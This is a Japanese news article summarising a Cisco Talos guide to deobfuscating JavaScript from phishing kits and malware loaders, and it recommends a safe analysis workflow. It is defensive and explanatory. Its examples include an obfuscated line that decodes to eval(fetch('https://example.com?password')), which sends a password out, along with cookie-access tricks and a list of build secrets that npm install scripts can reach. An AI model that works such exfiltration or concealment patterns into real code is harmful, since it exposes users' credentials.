脅威動向 / THREATS / RESEARCH / TALOS
Cisco TalosがJavaScript難読化の解読ガイドを公開 — 文字列隠蔽から制御フロー平坦化まで、フィッシングキットの手口を段階的に分解
Cisco Talosは2026年8月27日、フィッシングページやマルウェアローダーで多用されるJavaScript難読化の実践的な解読手法を公開した。文字列の分割やBase64エンコード、_0x形式の参照テーブル、制御フローの平坦化、evalやFunctionによる実行時コード生成といった定番の隠蔽を、 beautifyでは解けない理由とともに整理している。
Cisco Talosの研究者 James Hodgkinson氏は2026年8月27日、JavaScriptの難読化(obfuscation)を解読するための実践的なガイド「JavaScript obfuscation: From party trick to phishing kit」を公開した。Talosは、フィッシングページやマルウェアローダー、不審なブラウザスクリプト、npmパッケージのインストールスクリプトなどで、本来のコードを隠すために使われる定番の難読化パターンを整理し、解析者がどのように段階的に分解すべきかを示している。
本記事は、日本でも急増するフィッシング(2026年7月はフィッシング対策協議会に6万6千件超の報告)の背後で使われる難読化の実態を理解するうえで有用だ。Talosが示す分類とワークフローは、SOC(Security Operations Center: セキュリティ運用センター)やCSIRT(Computer Security Incident Response Team: インシデント対応チーム)が難読化されたスクリプトを安全に解読する手順として直接活用できる。
難読化とは何か — 定義の整理
Talosはまず用語を整理している。
- Minification(縮小化): 識別子を短縮し空白を除去してサイズを小さくする
- Packing(パッキング): コードを圧縮・符号化し、実行時に復元する
- Encoding/Encryption(符号化・暗号化): 文字列やペイロードを実行まで隠す。暗号化は鍵を伴う
- Anti-analysis(解析妨害): 解析者やツールを検知・妨害・誤導する
- Obfuscation(難読化): 実行を保ったまま意図を隠す変換の総称
Talosは、難読化自体は必ずしも悪性ではないと強調する。性能向上のためのバンドルや知財保護が正当な用途だ。一方で、フィッシングでの認証情報窃取の隠蔽、マルウェアローダー、ブラウザ拡張の悪用、npmパッケージのインストールスクリプト、侵害サイトへの注入、偽CAPTCHAや偽アップデート画面は、注意深く調べるべき不審な用途だとしている。
なぜ beautify だけでは足りないのか
BiomeやPrettierなどの整形ツール(beautifier)は、インデントや改行を戻す初期整形には有効だが、Talosによるとそれだけでは難読化は解けない。整形ツールは元の変数名の復元、意図の再構築、削除された構造の復元、実行時の文字列復号、ディスパッチャループの正常化を担わない。Talosは「beautifyはコードを見やすくするが、理解しやすくするとは限らない」と述べている。
静的な隠蔽 — 実行前に効く手口
Talosは、実行前に読み取りや検索を妨げる静的な手口を複数紹介している。
文字列の隠蔽と符号化では、'e'+"va"+'l' や "\x65\x76\x61\x6c"、String.fromCharCode(101,118,97,108)、atob('ZXZhbA==')、"\u0065\u0076\u0061\u006c" といった異なる表記で同じ文字列 eval を作る例を示す。["ht","tps","://"].join("") のように配列を結合して "https://" を隠す手法も、単純な文字列検索を回避する。
参照テーブルとデコーダ関数は、_0x で始まる識別子が特徴だ。例として
const _0x1234 = ["fetch", "password", "https://example.com"];
_0xabc = (i) => { return _0x1234[i - 0x10]; }
eval(`${_0xabc(16)}("${_0xabc(18)}?${_0xabc(17)}")`)
というコードは、テーブルを展開すると eval(fetch(“https://example.com?password")`)` と同じになる。Talosはまず変数名を置換し、次に参照を値に畳み込むことで可読性を取り戻す手法を示している。
動的プロパティアクセスでは、window.document.cookie と window["doc"+"ument"]["coo"+"kie"] が等価であることを利用し、機微なAPIへの参照を文字列検索から隠す。デッドコードやノイズでは、実行されない偽分岐、未使用の関数、常に同じ値になる無意味な演算、ランダムな文字列などで解析者の時間を奪う。
実行時の隠蔽 — 動いて初めて現れる挙動
実行時コード生成では、eval()、Function()、setTimeout(" ") といった実行シンク(execution sink)に注目する。Talosは、パッキングされた検体の常套手段として「eval(payload) を console.log(payload) に置換して中間コードを回収し、回収した次のレイヤーを別途解析する」という手順を推奨している。埋め込まれた文字列、ダウンロードされたペイロード、DOM状態や画像データから組み立てられるケースもある。
制御フロー平坦化(control-flow flattening)では、本来は上から下へ読める処理を状態機械やディスパッチャループに変換して意図を埋める。例として
let state = 0; let data = {};
while (state !== 3) {
state = [ () => { data["p"] = "hunter2"; return 1; },
() => { console.log("Sending password:", data["p"]); return 3; } ][state]();
}
は、実質的には console.log("Sending password:", "hunter2"); と同じだが、配線図のように部品は揃っていても意味が読み取りにくくなっている。
アンチデバッグ・アンチ解析では、ループ内に debugger 文を仕込む、DevToolsの有無や navigator.webdriver を調べる、想定ドメイン外では実行しない、console.log を置換する、サンドボックスの痕跡を探す、実行を遅延させて短時間のスキャンをやり過ごすといった手法を挙げる。Talosは「永遠に隠すのではなく、最初の5分間の解析をやり過ごせれば十分という発想だ」と指摘している。
JSFuck と javascript-obfuscator
JSFuckは、[ ] ( ) ! + . の6文字だけで有効なJavaScriptを記述する手法だ。型強制を利用して false や true などを組み立て、最終的に実行可能なコードを生成する。Talosは「目で追わず、デコーダや制御された実行環境での回収で対処する」ことを推奨している。
より現実的な脅威として、Talosは npmパッケージ javascript-obfuscator(別名 obfuscator.io) を挙げる。同ツールは識別子のリネーム、文字列配列への抽出、文字列の符号化とローテーション、制御フロー平坦化、デッドコード注入、デバッグ保護、自己防衛コード、ドメインロック、コンソール無効化を自動化する。Talosによると、フィッシングキット作者やマルウェア運用者はツールを実行するだけで、手作業の傑作ではないが実用的で再現性のある難読化を量産できる。
Talosは特に、ブラウザ以外が被害環境になるnpmのリスクを強調する。preinstall や postinstall などのインストール時スクリプトが実行されるNode.js環境では、process.env、ファイルシステム、子プロセス、ホームディレクトリ、npmトークン、GitHubトークン、SSH鍵、CI変数といった機微情報に到達し得る。Talosは「“何を読むか”はCookieではなく、ビルド実行環境が持つ秘密情報そのものになる」と警鐘を鳴らしている。
Talosが推奨する解析ワークフローとAI活用の注意
Talosが示すワークフローは、意図的に退屈な手順だ。
- 元データを保存する
- 安全な作業用コピーを作る
- beautifyは初期整形に留める
- 文字列を抽出する
- 実行シンクを特定する
- 生成されたペイロードを回収する
- 制御された環境で挙動を観察する
- 隠蔽がなくなるまで繰り返す
Talosは、不審なJavaScriptを通常の端末や通常のブラウザプロファイル、認証情報やSSHエージェント、クラウド認証情報が残る環境で実行しないことや、原本の保全、コピーでの作業を前提とするよう求めている。AIツールについては「有用だがサンドボックスではない」と位置づけ、隔離した断片や復号済みの成果物など、共有しても問題ない範囲に限定して使うことを推奨している。具体的には、孤立したデコーダの説明、変数名の置換、参照テーブルの畳み込み、回収したペイロードの要約、亜種間の比較といった補助的な用途が適しているとしている。
日本の組織への示唆
Talosの整理は、国内で多発するフィッシングやサプライチェーン経由のスクリプト改ざんへの対応に直結する。文字列検索や単純なハッシュ照合に依存した検知では、前述のような参照テーブルや動的プロパティアクセス、実行時生成の前では容易に回避され得る。Talosが示すように、実行シンクをログ化して次のレイヤーを回収する反復的なアプローチと、原本を汚さない安全な解析環境の整備が、検知と初動の精度を左右する。各組織は、EDRやメールゲートウェイでのJavaScriptの動的解析、npmパッケージ導入時のインストールスクリプトの監査、ビルド環境の秘密情報の分離といった対策を、Talosのワークフローに照らして見直すことが望ましい。
出典
- JavaScript obfuscation: From party trick to phishing kit — Cisco Talos Intelligence(2026年8月27日公開、筆者 James Hodgkinson)
この記事は、公開情報と編集部の調査・知見をもとに構成しています。内容は公開時点の情報に基づく解説であり、個別の環境への診断・対応を保証するものではありません。重要な判断では、記事内の出典や各提供元の最新情報もご確認ください。